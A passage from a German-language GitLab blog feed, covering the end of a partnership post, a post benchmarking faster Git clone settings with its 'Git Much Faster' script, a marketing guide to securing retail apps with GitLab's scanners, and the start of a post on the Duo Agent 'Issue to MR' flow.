Unterstützung von Organisationen bei der Modernisierung ihrer Entwicklungspraktiken und Optimierung ihres Software-Bereitstellungszyklus.</p>
<p><strong>Mainframe-Modernisierung:</strong>
Begleitung von Kunden bei der Migration von Legacy-Systemen.</p>
<p><strong>GitLab Duo mit Amazon Q:</strong>
Bereitstellung von KI-gestützter Softwareentwicklung für Organisationen, die ihre Entwicklungsgeschwindigkeit beschleunigen und gleichzeitig durchgängige Sicherheit und Compliance gewährleisten möchten.</p>
<h2>Ausblick</h2>
<p>Wir freuen uns darauf, unseren gemeinsamen Kunden dabei zu helfen, Innovationen zu beschleunigen, Entwicklungsprozesse zu optimieren und ihre Sicherheitslage zu stärken, um ihre Geschäftsziele effektiver zu erreichen.</p>
<p>Für weitere Informationen darüber, wie GitLab und Accenture Organisationen helfen können, besuche bitte <a href="https://about.gitlab.com/partners/channel-partners/#/2328213">unsere Partner-Website</a> oder kontaktiere deinen Accenture- oder GitLab-Ansprechpartner.</p>
]]></content>
        <author>
            <name>GitLab</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab</uri>
        </author>
        <published>2025-09-15T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Git-Workflows systematisch optimieren]]></title>
        <id>https://about.gitlab.com/de-de/blog/supercharge-your-git-workflows/</id>
        <link href="https://about.gitlab.com/de-de/blog/supercharge-your-git-workflows/"/>
        <updated>2025-09-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>7 Minuten Lesezeit</strong></p>
<h2>Der Geschäftsfall: Was Git-Performance kostet</h2>
<p>Stellen wir uns vor: Arbeit am Chromium-Projekt, das Repository muss geklont werden. <code>git clone</code> starten, einen Kaffee holen, E-Mails checken, vielleicht eine Mittagspause – und 95 Minuten später ist endlich das Arbeitsverzeichnis da. Das ist die Realität für Entwickler, die mit großen Repositories von 50 GB+ arbeiten.</p>
<p>Die Produktivitätsauswirkungen sind erheblich: CI/CD-Pipelines kommen zum Erliegen während sie auf Repository-Klone warten. Infrastrukturkosten steigen, da Compute-Ressourcen untätig bleiben. Entwickler-Frustration wächst, während Context-Switching zur Norm wird. Das Problem zeigt sich überall: Embedded-Teams erben Repositories mit Legacy-Firmware und Vendor-SDKs. Web-Anwendungen akkumulieren Marketing-Assets. Game-Development-Projekte enthalten 3D-Modelle und Audio-Dateien – Repository-Größen erreichen Dutzende von Gigabytes.</p>
<p>Enterprise-CI/CD-Pipelines leiden besonders: Jeder Job braucht frische Repository-Klone. Bei 20-90 Minuten Operationszeit erliegen ganze Entwicklungsworkflows. Infrastrukturkosten steigen durch untätige Compute-Ressourcen.</p>
<h2>8-60x schneller – je nach Repository-Größe:</h2>
<p><a href="https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster">Git Much Faster</a> demonstriert dramatische Verbesserungen durch rigoroses Benchmarking über reale Repositories mit konsistenter AWS-Infrastruktur:</p>
<p><strong>Linux-Kernel-Repository (7,5 GB total):</strong> Standard clone dauerte 6 Minuten 29 Sekunden. Optimized clone erreichte 46,28 Sekunden – eine 88,1%ige Verbesserung, wodurch das .git-Verzeichnis von 5,9 GB auf 284 MB reduziert wurde.</p>
<p><strong>Chromium-Repository (60,9 GB total):</strong> Standard clone benötigte 95 Minuten 12 Sekunden. Optimized clone erreichte 6 Minuten 41 Sekunden – eine beeindruckende 93%ige Verbesserung, wodurch das .git-Verzeichnis von 55,7 GB auf 850 MB komprimiert wurde.</p>
<p><strong>GitLab-Website-Repository (8,9 GB total):</strong> Standard clone dauerte 6 Minuten 23 Sekunden. Optimized clone erreichte 6,49 Sekunden – eine bemerkenswerte 98,3%ige Verbesserung, wodurch das .git-Verzeichnis auf 37 MB reduziert wurde.</p>
<p>Die Benchmark-Daten zeigen klare Muster: Größere Repositories zeigen dramatischere Verbesserungen, binär-lastige Repositories profitieren am meisten von intelligenten Filtern, und optimierte Ansätze übertreffen konsistent sowohl standard Git als auch Gits eigenes Scalar-Tool.</p>
<h2>Kosteneinsparungen für die gesamte Infrastruktur</h2>
<p>Git clone-Optimierung reduziert auch die Systembelastung durch kleinere Anfragegrößen. GitLabs <a href="https://docs.gitlab.com/administration/gitaly/praefect/">Gitaly Cluster</a> profitiert direkt: Weniger server-seitige &quot;pack file&quot;-Erstellung bedeutet niedrigere Memory-, CPU- und I/O-Anforderungen. Der gesamte Stack wird schneller und günstiger.</p>
<p>Diese Infrastructure-Einsparungen multiplizieren sich in Enterprise-Umgebungen: Reduzierte Dimensionierung der Git-Server, weniger Netzwerk-Overhead, optimierte Storage-Nutzung. Alle Schichten profitieren gleichzeitig.</p>
<h2>Typische Enterprise-Anwendungsfälle</h2>
<p><strong>Embedded Development:</strong> Legacy-Firmware, FPGA-Bitstreams, PCB-Layouts treiben Repository-Größen hoch. Build-Prozesse klonen oft Dutzende externe Repositories, multiplizieren die Performance-Auswirkungen.</p>
<p><strong>Enterprise-Monorepos:</strong> Mehrere Projekte, akkumulierte Historie. Media-Assets verstärken das Problem – Web-Apps mit Marketing-Assets, Games mit 3D-Modellen über 100 GB.</p>
<p><strong>CI/CD-Pipelines:</strong> Jeder Job braucht frische Klone. Bei 20-90 Minuten werden Workflows unbrauchbar. Hier zeigen sich die größten Produktivitätsgewinne.</p>
<p><strong>Verteilte Teams:</strong> Limitierte Netzwerk-Performance zu Development-Workstations profitiert von reduzierten Over-the-Wire-Größen.</p>
<hr>
<h2>Die technische Umsetzung: Wie es funktioniert</h2>
<p>Git Much Faster ist ein Script, das ich als Enablement-Tool entwickelt habe, um verschiedene Clone-Optimierungsansätze auf demselben Client zu benchmarken – ob Entwickler-Workstation, CI, Cloud-Umgebungen oder GitOps-Klone. Es enthält kuratierte Konfigurationen für schnellste Clone-Optimierung, die sich als Ausgangspunkt nutzen lassen.</p>
<p>Die Lösung adressiert die grundlegende Herausforderung: Gits Standard-Clone-Verhalten priorisiert Sicherheit über Geschwindigkeit. Bei großen Codebasen, Binär-Assets oder Monorepo-Strukturen wird das zum erheblichen Engpass.</p>
<h2>Vier Benchmark-Strategien im Vergleich</h2>
<p>Git Much Faster löst dies durch umfassendes Benchmarking, das vier verschiedene Strategien vergleicht: standard git clone (Baseline mit vollständiger Historie), optimized git clone (custom Konfigurationen mit deaktivierter Kompression und sparse checkout), Gits Scalar clone (integriertes partial cloning) und current directory assessment (Analyse bestehender Repositories ohne erneutes Klonen).</p>
<p>Das Tool bietet messbare, wiederholbare Benchmarks in kontrollierten AWS-Umgebungen. Die wahre Stärke: alle Benchmarks lassen sich in der spezifischen Umgebung ausführen – auch bei langsamen Netzwerkverbindungen findet sich die optimale Clone-Strategie.</p>
<h2>Zwei Schlüssel-Konfigurationen für 93% Zeitersparnis</h2>
<p>Die bedeutendsten Gewinne stammen aus zwei Optimierungen:</p>
<p><strong>Erste Optimierung – <code>core.compression=0</code>:</strong> Eliminiert CPU-intensive Kompression während Netzwerkoperationen. Bei modernen Hochgeschwindigkeitsnetzwerken überschreiten CPU-Zyklen oft die Bandbreiteneinsparungen. Allein diese Optimierung reduziert Clone-Zeiten um 40%–60%.</p>
<p><strong>Zweite Optimierung – <code>http.postBuffer=1024M</code>:</strong> Erhöht Gits konservative HTTP-Buffer-Größe. Große Repositories profitieren enorm – Git kann größere Operationen handhaben ohne Aufteilen in mehrere Requests.</p>
<p>Zusätzlich nutzt Git Much Faster shallow clones (<code>--depth=1</code>) und partial clones (<code>--filter=blob:none</code>). Shallow clones reduzieren Daten um 70%–90%, partial clones helfen bei Repositories mit großen Binär-Assets. Sparse checkout kontrolliert ausgecheckte Dateien chirurgisch präzise – 30+ Binärdateitypen werden ausgeschlossen, Working-Directory-Größe sinkt um 78%.</p>
<p>Gits Scalar-Tool kombiniert partial clone, sparse checkout und Background-Wartung. Tests zeigen jedoch: Der custom optimized approach übertrifft Scalar um 48%–67% bei ähnlichen Disk-Space-Einsparungen.</p>
<h2>Sofortige Implementierung in drei Schritten</h2>
<p>Die Implementierung erfordert das Verständnis, wann welche Technik basierend auf Use Case und Risikotoleranz anzuwenden ist. Für Development, das vollständigen Repository-Zugang erfordert: standard Git cloning nutzen. Für read-heavy Workflows, die schnellen Zugang zu aktuellem Code benötigen: optimized cloning einsetzen. Für CI/CD-Pipelines, wo Geschwindigkeit paramount ist: optimized cloning bietet maximalen Nutzen.</p>
<p>Der Einstieg erfordert nur einfachen Download und Ausführung:</p>
<pre><code class="language-bash">
curl -L https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster/-/raw/master/git-much-faster.sh -o ./git-much-faster.sh



# Für Benchmarking


bash ./git-much-faster.sh --methods=optimized,standard --repo=https://github.com/your-org/your-repo.git

</code></pre>
<p>Für production-grade Testing enthält das Git Much Faster-Projekt komplette Terraform-Infrastruktur für AWS-Deployment, wodurch sich Variablen eliminieren lassen, die lokale Testergebnisse verzerren.</p>
<h2>Wichtige Einschränkungen beachten</h2>
<p>Optimized clones haben Limitierungen: Shallow clones verhindern Zugang zu historischen Commits. Lösung: Entwickler starten optimized, konvertieren bei Bedarf via <code>git fetch --unshallow</code> zu full clones. CI-Jobs mit Commit-Historie-Zugriff brauchen möglicherweise vollständige Historie.</p>
<hr>
<h2>Transformative Ergebnisse für deutsche Teams</h2>
<p>Git clone-Optimierung liefert messbare Verbesserungen – bis zu 93% weniger Clone-Zeit, 98% weniger Disk-Space-Usage. Gits konservativer Standard-Ansatz lässt erhebliche Performance-Gelegenheiten ungenutzt.</p>
<p><strong>Für deutsche Entwicklungsteams:</strong> Reduzierte CI/CD-Wartezeiten steigern tägliche Produktivität, geringere Infrastrukturkosten ermöglichen relevante Kosteneinsparungen in Enterprise-Umgebungen.</p>
<p><a href="https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster">Einfach starten mit dem Git Much Faster Repository</a> – read-only Optimierung in CI/CD-Pipelines beginnen, schrittweise auf Development-Workflows erweitern basierend auf gemessenen Ergebnissen.</p>
]]></content>
        <author>
            <name>Darwin Sanoy</name>
            <uri>https://about.gitlab.com/blog/authors/darwin-sanoy</uri>
        </author>
        <published>2025-09-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Leitfaden für das Entwickeln sicherer Retail-Apps mit GitLab]]></title>
        <id>https://about.gitlab.com/de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab/</id>
        <link href="https://about.gitlab.com/de-de/blog/a-developers-guide-to-building-secure-retail-apps-with-gitlab/"/>
        <updated>2025-09-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Händler stehen bei der Anwendungssicherheit vor besonderen Herausforderungen – hauptsächlich weil die <strong>Angriffsfläche durch die Komplexität des modernen Handels größer ist als je zuvor</strong>. Von mobilen Apps und KI-gestützter Personalisierung bis zu Omni-Channel-Plattformen und IoT im Geschäft – jeder Berührungspunkt erhöht die Anzahl der Systeme, die gesichert und überwacht werden müssen. Eine einzelne Schwachstelle betrifft nicht nur eine Komponente, sondern kann sich auf Zahlungsabwickler, Bestandssysteme, Kundendaten und letztendlich das Markenvertrauen auswirken.</p>
<p>Traditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.</p>
<p><strong>Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus</strong> und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.</p>
<p>In diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, <strong>ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen</strong>.</p>
<h2>Warum Retail-Sicherheit einen anderen Ansatz erfordert</h2>
<p>Im Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.</p>
<p>Zur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:</p>
<h3>Fragilität der Lieferkette und API-Wildwuchs</h3>
<p>Versandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer <a href="https://premierconstructionnews.com/2024/05/25/retails-revival-fluent-commerce-study-finds-93-of-uk-retailers-expect-business-growth-over-next-year-despite-economic-challenges-and-supply-chain-disruption/">Umfrage von Fluent Commerce 2024</a>. Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.</p>
<h3>Legacy-Systeme treffen auf moderne Anforderungen</h3>
<p>Viele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.</p>
<h3>KI- und Compliance-Komplexität</h3>
<p>KI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die <a href="https://gdpr.eu/what-is-gdpr/">DSGVO</a> (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.</p>
<h3>Risiken bei kundenorientierten Automatisierungen</h3>
<p>Self-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.</p>
<h3>Unterschiedliche Bedrohungsflächen</h3>
<p>Händler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.</p>
<p>Dies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.</p>
<h2>Warum traditionelle AppSec im Einzelhandel versagt</h2>
<p>Die meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:</p>
<ul>
<li><strong>Begrenzte Lebenszyklusabdeckung:</strong> Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.</li>
<li><strong>Integrationsherausforderungen:</strong> Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.</li>
<li><strong>Manuelle Prozesse:</strong> Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.</li>
<li><strong>Team-Silos:</strong> Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.</li>
</ul>
<h3>Der Weg nach vorn</h3>
<p>In der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.</p>
<h3>Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab</h3>
<p>GitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:</p>
<ul>
<li><a href="https://docs.gitlab.com/user/application_security/sast/">SAST</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/dast/">DAST</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/">Abhängigkeitsscannen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/container_scanning/">Container-Scannen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/secret_detection/">Geheimnis-Erkennung</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/iac_scanning/">Infrastructure-as-Code-Scannen</a></li>
<li><a href="https://docs.gitlab.com/user/application_security/api_fuzzing/">Fuzz-Testing</a></li>
</ul>
<p>Aber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, <a href="https://docs.gitlab.com/user/compliance/compliance_frameworks/">die richtigen Richtlinien durchzusetzen</a>, um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/x2dteagn1z8tjfahmobv.png" alt="Sicherheitsscans in Pipeline"></p>
<p>&lt;center&gt;&lt;i&gt;Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.&lt;/i&gt;&lt;/center&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/npsgvu5e0sd2kpoxug7f.png" alt="Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe."></p>
<p>&lt;center&gt;&lt;i&gt;Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.&lt;/i&gt;&lt;/center&gt;</p>
<h3>Eine Plattform für Dev, Sec und Ops</h3>
<p>Retail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:</p>
<ul>
<li><strong>Einzige Quelle der Wahrheit</strong> für Quellcode, Pipelines, Schwachstellen und Compliance</li>
<li><strong>Kein Integrationsaufwand</strong> oder Tool-Kompatibilitätsprobleme</li>
<li><strong>Konsistente Workflows</strong> über alle Teams und Projekte</li>
</ul>
<p>Das Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/d2nzltd1a2gypywzhv5f.png" alt="Compliance-Center, wo Sie Compliance-Frameworks für Ihre Projekte durchsetzen können."></p>
<p>&lt;center&gt;&lt;i&gt;Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.&lt;/i&gt;&lt;/center&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/szoocztazaup2avkaxhu.png" alt="Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien."></p>
<p>&lt;center&gt;&lt;i&gt;Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.&lt;/i&gt;&lt;/center&gt;</p>
<h3>Geteilte Sicherheitsverantwortung, keine Silos</h3>
<p>Die erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.</p>
<p><strong>Entwickler(innen)-Ermächtigung</strong></p>
<p>Sicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988741/uenrjye3arfg9wjtwss1.png" alt="Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken."></p>
<p>&lt;center&gt;&lt;i&gt;Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.&lt;/i&gt;&lt;/center&gt;</p>
<p>&lt;p&gt;&lt;/p&gt;</p>
<p><strong>Automatisierte Compliance</strong></p>
<p>Generiere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/gpakhdvkegloqxhaeje8.png" alt="GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt."></p>
<p>&lt;center&gt;&lt;i&gt;GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.&lt;/i&gt;&lt;/center&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p>Dieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.</p>
<h2>Plattform vs. Einzeltools: Was Händler wissen müssen</h2>
<table>
<thead>
<tr>
<th>Fähigkeit</th>
<th>Einzeltools</th>
<th>GitLab DevSecOps-Plattform</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAST/DAST/API/Fuzz</td>
<td>Getrennt &amp; begrenzt</td>
<td>Vollständig integriert</td>
</tr>
<tr>
<td>Lizenz- &amp; Abhängigkeitsscannen</td>
<td>Oft externe Tools</td>
<td>Eingebaut</td>
</tr>
<tr>
<td>Compliance- &amp; Audit-Berichte</td>
<td>Manuell oder unverbunden</td>
<td>Automatisiert mit Nachverfolgbarkeit</td>
</tr>
<tr>
<td>Zusammenarbeit zwischen Teams</td>
<td>Fragmentiert</td>
<td>Einheitliche Umgebung</td>
</tr>
<tr>
<td>End-to-End-Sichtbarkeit</td>
<td>Tool-spezifisch</td>
<td>Vollständiger Lebenszyklus + Wertstrom-Ansicht</td>
</tr>
</tbody>
</table>
<h2>Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran</h2>
<p>Im Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.</p>
<p>GitLabs integrierte DevSecOps-Plattform hilft Händlern:</p>
<ul>
<li><strong>Schneller bereitzustellen ohne Sicherheitskompromisse</strong> mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun.</li>
<li><strong>Compliance-Anforderungen mühelos zu erfüllen</strong> durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards.</li>
<li><strong>Sicherheitstoolkosten erheblich zu senken</strong> durch Ersatz mehrerer Einzellösungen mit einer Plattform.</li>
<li><strong>Entwickler(innen) zu Sicherheitsbefürwortern zu machen</strong> mit Anleitung und Automatisierung, nicht mit Hindernissen.</li>
</ul>
<p>Teste hier einige der Sicherheitsfunktionen von GitLab:</p>
<ul>
<li><a href="https://gitlab.navattic.com/ve-vr-short">Schwachstellen mit GitLab Duo beheben</a></li>
<li><a href="https://gitlab.navattic.com/gitlab-scans">Scans zur Pipeline hinzufügen</a></li>
<li><a href="https://gitlab.navattic.com/compliance-short">Compliance-Frameworks</a></li>
<li><a href="https://gitlab.navattic.com/advanced-sast-short">Erweiterte SAST</a></li>
</ul>
<blockquote>
<p>Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer <a href="https://about.gitlab.com/free-trial/">kostenlosen Testversion</a> optimieren kann.</p>
</blockquote>
]]></content>
        <author>
            <name>Itzik Gan Baruch</name>
            <uri>https://about.gitlab.com/blog/authors/itzik-gan baruch</uri>
        </author>
        <author>
            <name>Rebeca Fenoy-Anthony</name>
            <uri>https://about.gitlab.com/blog/authors/rebeca-fenoy-anthony</uri>
        </author>
        <published>2025-09-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Vibe Coding mit GitLab Duo Agent Platform: Issue to MR]]></title>
        <id>https://about.gitlab.com/de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow/</id>
        <link href="https://about.gitlab.com/de-de/blog/vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow/"/>
        <updated>2025-09-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> (jetzt in der Beta verfügbar) bietet ein Framework für KI-Agenten zur Interaktion mit GitLab-Ressourcen wie Issues und Merge Requests und ermöglicht komplexe, mehrstufige Aufgaben vom Konzept bis zur Fertigstellung. Agent Platform bietet dialogorientierte (<a href="https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">Agentic Chat</a>) und automatisierte (<a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">Agent Flows</a>) Erfahrungen zur Unterstützung bei der Code-Generierung, Modernisierung, Behebung von Sicherheitslücken und Projektanalyse – alles mit Enterprise-Grade-Sicherheit und anpassbaren Kontrollen.</p>
<p>&quot;Issue to MR&quot; ist ein Agent Flow, der die Umwandlung eines klar definierten Issues in einen Draft Merge Request (MR) vereinfacht. Der Flow analysiert die Beschreibung und Anforderungen eines Issues, öffnet einen Draft MR, der mit dem Issue verknüpft ist, erstellt einen Entwicklungsplan und schlägt eine Implementierung vor – direkt aus der GitLab-Oberfläche.</p>
<h2>Die Herausforderung für Entwickler</h2>
<p>Produktanpassungen wie das Umgestalten eines UI-Layouts, das Anpassen der Komponentengröße oder kleine Workflow-Änderungen sollten nicht stundenlange Einrichtungsarbeiten erfordern. Doch Entwickler finden sich in einem frustrierenden Kreislauf wieder: Sie durchsuchen Codebasen nach den richtigen Dateien, erstellen Branches, fügen verstreute Änderungen über mehrere Komponenten zusammen und navigieren durch komplexe Review-Prozesse. Und das alles, bevor sie überhaupt sehen können, ob ihre Lösung funktioniert. Der Entwicklungsaufwand verwandelt einfache Iterationen in zeitaufwändige Aufgaben, verlangsamt Feedback-Schleifen und lässt kleine Produktverbesserungen wie große Projekte erscheinen.</p>
<h2>Wie der Issue to MR Flow eine Anwendungsaktualisierung beschleunigt</h2>
<p>Du musst zuerst diese Voraussetzungen erfüllen, bevor du den Issue to MR Flow nutzen kannst.</p>
<p>Voraussetzungen:</p>
<ul>
<li>Ein bestehendes Issue mit klaren Anforderungen und Akzeptanz-Kriterien. Dies hilft GitLab Duo Agent Platform besser zu verstehen, was du erreichen möchtest, und verbessert die Qualität deiner Ausgabe.</li>
<li>Projektzugriff mit mindestens Developer-Berechtigungen, da der Flow Änderungen am Quellcode deines Projekts vornimmt.</li>
<li>GitLab Duo Agent Platform für deine Gruppe oder dein Projekt aktiviert, mit erlaubten Flows. Gehe dazu in deinem Projekt zu <strong>Einstellungen &gt; Allgemein &gt; GitLab Duo &gt; Flow-Ausführung erlauben</strong> und aktiviere es. GitLab ist bestrebt, Sicherheitsvorkehrungen zu bieten, daher erfordern Agentic-AI-Funktionen das Aktivieren dieser Schalter, um sensible Projekte zu schützen und sicherzustellen, dass nur die gewünschten Projekte für GitLab Duo Agent Platform zugänglich sind.</li>
</ul>
<p>Sobald du alle oben genannten Voraussetzungen erfüllt hast, kannst du diese Schritte befolgen, um den Issue to MR Flow zu nutzen:</p>
<ol>
<li>Erstelle ein Projekt-Issue, das beschreibt, was GitLab Duo Agent Platform für dich erreichen soll. Gib so viele Details wie möglich in der Issue-Beschreibung an. Falls das Issue bereits existiert, öffne es über <strong>Plan &gt; Issues</strong> und klicke auf das Issue, das die gewünschte Aktualisierung beschreibt. Drücke dich so präzise wie möglich aus.</li>
